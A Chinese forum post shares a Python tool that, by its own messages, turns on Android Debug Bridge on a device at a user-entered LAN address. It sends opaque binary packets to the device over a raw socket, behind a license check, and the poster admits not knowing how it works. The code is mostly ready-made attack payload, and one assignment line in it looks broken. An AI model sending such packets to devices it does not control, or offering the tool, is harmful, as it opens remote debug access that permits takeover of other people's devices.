有需要吗?我看了一下代码往指定端口发送这些数据就可以,不知道是什么原理
- def structure_data_list():
- data_2 = b'\x10 \x00\x00\x00\x00\x00\x04V6.0'
- data3_1 = b'\x10\x01\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\x9a\x87\x82\xc0\x85\xe5{~p\xc8F\x85\x18\xc7\xfb'
- data3_2 = b'\x10\x10\x00P\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xae\x10^\x0c\x1bs)P\xc1\xab#%\x90\x13\xf0#\xd2m\xc8Ao\xb2\x12\xfa\xf3\x031\xbe#+F\x84\x16v>F\xd6\xe5D>\xfb\xd7\x1d)\x94\x18\xaf\r\xba\xaf\x1f\x1e\xceA\xe7\x04\xdf\xa0\xf6\x19\xdb\x80\xfe\x86\x0e\xbf=\x92\x13s\xa5}NY\xb4wS,\xab\x15'
- data_3 = data3_1 + data3_2
- data4_1 = b'\x10\x01\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>\xbe\xb3=\xf4\xa1z\x96c\x9a\xa1\x99\x973\xdc\x95'
- data4_2 = b"\x10\x10\x00 \x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xce\x87\x82syV\x1aBm\xa7\x9dY\xedm5y\xe4#\xc7\x83\xc3%'$\x17\xfe\xfe\xefU\xc8\x1b"
- data4_3 = b'\x10\x01\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x006\xd2M\x15\x8ap_\n64\x12&\xc9\t\n\xf7'
- data_4 = data4_1 = data4_2 or data4_3
- data5_1 = b'\x10\x01\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc1\xcfe-;\x85\xf9\xad\x10\xed\xf00\x9b\x08\xa3\x10'
- data5_2 = b'\x10\x10\x00 \x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00]\xe9\x84\x17%\xb6\xa6=C\x04%\xf4\x1b\xce\t\xe8\xb6d\n\xe8\x06cG\xca\xaa\x05\xe7K\xb6\xbe\xd4\xbd'
- data_5 = data5_1 + data5_2
- data6_1 = b'\x10\x01\x00\x10\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd2~\x13\t\x961d&\x9b\xd5i\xeeZ\\\xe0\x8b'
- data6_2 = b'\x10\x10\x02\xe0\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcfo_4G\x0f5\xf4\xdb\x8bE4\xa1qb(\x8cP\x95RG\xc9\xd1\xc7\'\xf3\xb8\xe0\xb2\\\xa1\x0e\xc09\x10\x97\xb2\xf9fI\xa1\x85\xe2\xb0U\xbcR\xa4\xb4\xf5&S?\x96\xb43j\xdc\x1f<\xb1\xfb\x8e\xa0\xaaY\x91\x8d\x93\xa3\xb4\xad\xb3\xed\xca\xb7\xb1\xe1hP\xae\xd7E\xef8\xb6\xcb\xca\xec\xf9\xe0\x9cU\xdc\xa2p\xbe\xebd\xfb\xa3\xfc\xc6\x15\t\x86.\xed\xd8\xc3%\xdd\xe2\x91\xa2(F\xe0\x8e\x87\xa6Bi9$\x849sKA+\xf7 \xec\xb7\xb43\x13\xb6\xbdJ\xec;\x82:S6\x84O4\xa5\xf9\x9a\xc4~s^\xdd\x08h>\x9e\x19\xc5J\xc9\x1f\xa0\xc9W\x84T0\x08\x06\xc8\n\xdfZ\x92\xd6Z\xb0\xe2\xf9L\x7f\xd9\x9f\x9b\xfcw\xf1\xb2j3"\xac\xa0\x06ax1\x96&\xb4`\x90\xb0\x8e\x06e}K\x1d\x87t\xed\xda\xd4\x9b\xa6\xc4\xfc\x94\xbc\x8fa]Q\xc4\xfcd\xbf!\xd3\xc6\xe2\x7f\x1fp\n\xf4\xbd\x06\xb3\xcd\xffT5|ef\xe0)\x8a\x0f\xf8\x1a\x01cR\x807\xb5:?-yR\x10]\xda\xc9/\xb4$/Zz\xa1v!B\x85\xa7\xc9\xd3\xd2\xa0\xc3|\x7f\x85\tq\x82+\xc8=\xb6\x01\xbcs\x9cX\x91\xc0\x90\xfd\x93\xc7\x07Y\xfa_\x1c\x8b\xb6X\xaf}w\xc7\xa920\xab(\xe4\xfa\xafV\xb8\x8fcC\xb4\x15*\x91\x01!\x84lY\xef\x14Uw\xf6\x94\t\xe6/\x1d\xb9r)\xbf\xea\\B{-\xca\xa55\xc1p\xcb\xd9\xe7F\xdf\x17\xc5!\xc5\x0fNc\xaf8\x15\x06\xf0fA\xba\xfb\xd8\xdb\xaf\xfb\xe0/\xf9\x84\xa3\x10^Hn\xe3\x17~\xb9\xae\xd6\xad\xbf\xb5~\xda\xaf#\xa8pH\x00\x94W\xdc\x0b\xce\xaa\x04\xb4\xb0\xe3\x82\x9fwn\xe2\xc2\x87\xbc\xd3{$*p\x81\x13\xcc\x12\x8c\x17\x84U\x96\xb5\xe9M\x95A\xf7\x91x`\xd7z\xd3\x14\x83IM\xc1\xb8\xab\xc9\xae\x1c\x91\xdb\x9d\x9ai\xf9LPtP\xad\x1dw\xf2\xa0\x13N\x8eHB\x18\xb4pN\x06R\xc7\xc5\xc1\x98\xc3Z\x8a\xa2W\xcc]\xd3Azf\xd1PO\x15\x0b\xf3\x9f\x04\xbfG}\xf9\xf5\xa8\xae\x1f\x1b\x076\x1e\x9c\xa7\xd8\xe3<xp\x1d\x17\x8e\x85\xb5\x92m\xa7\xc3\xf5\x8c\xf3e{g\x85\xcd\xc5\x99A:(\x0e\x85\xeb\xa9\xfb\x08R_\xc7\xcbC\n\x14\xb5zF\x14#\x14\x92B\xd0\xe5\x95\xa1\x80\xb0\xef\xff\x04O\xabU\x99w\xf4\xb8\x1e\xc3\x9a\x9d%<\xedp\x16\x17\xc0\x1e\xb8\x9c\xd4\xd2\x80l\xfb\xe0\xd3\xd0\xbd\\E6\xd3^\xef\\^\xdc\xd8\x1f\x14:\xd5\x90\xdb\xc5Jd\x0b\xab\x8e\xe6\xc1b\xd4\x82\xc9\xa7\xdd\x7f\xa6h\x93\xf9[\x8e\x7f\xd36\x99F\x05HO5\xe78\x8cm\x1b\xde\r\xe9Sz\x8b\x03\xca\xd4_\x9d\xfa\xbe\xbb1\xdf\x01\xae\x1c;no\x19I\x02\x1eM\xc6K\xa7I\xaeJ\x15\x0fU\xb0\x9cQ{\xb4\x16\x7f\xeayp#\x1d\xfe\xfaq\xdb-\x1fO\xe6\xb6\xc0\xb2U'
- data_6 = data6_1 + data6_2
- data_list = []
- for data in [data_2, data_3, data_4, data_5, data_6]:
- data_list.append(data)
- return data_list
复制代码- def yun():
- """
- 此函数用于验证用户权限并执行一系列基于socket的ADB操作。
- 它首先打印一条消息来验证用户的使用权限,然后根据用户输入的IP地址和一系列数据发送操作来执行ADB命令。
- """
- # 打印验证信息,提示用户正在检查使用权限
- print('正在验证你的使用权限:请稍等......如果没有使用权限请联系管理员admin')
-
- # 检查许可证,如果成功则继续执行
- if check_license():
- # 提示用户输入IP地址的前缀部分
- sin_1 = input('请输入IP的前面的地址-(192.168.12.)-----: ')
-
- # 无限循环,直到获取有效的IP地址后缀
- while True:
- # 提示用户输入IP地址的后缀部分
- sin_2 = input('请输入IP的后面一位数----: ')
- # 拼接IP地址的前缀和后缀
- sin = sin_1 + sin_2
- # 打印拼接后的IP地址
- print('START IP:', sin)
-
- # 创建并运行socket连接
- sk = run_socket(sin)
- # 构造数据列表
- data_list = structure_data_list()
-
- # 遍历数据列表,发送数据
- for data in data_list:
- send_data(sk, data)
-
- # 提示用户ADB已经打开
- print('ADB已经打开~~~')
- # 关闭socket连接
- sk.close()
复制代码
|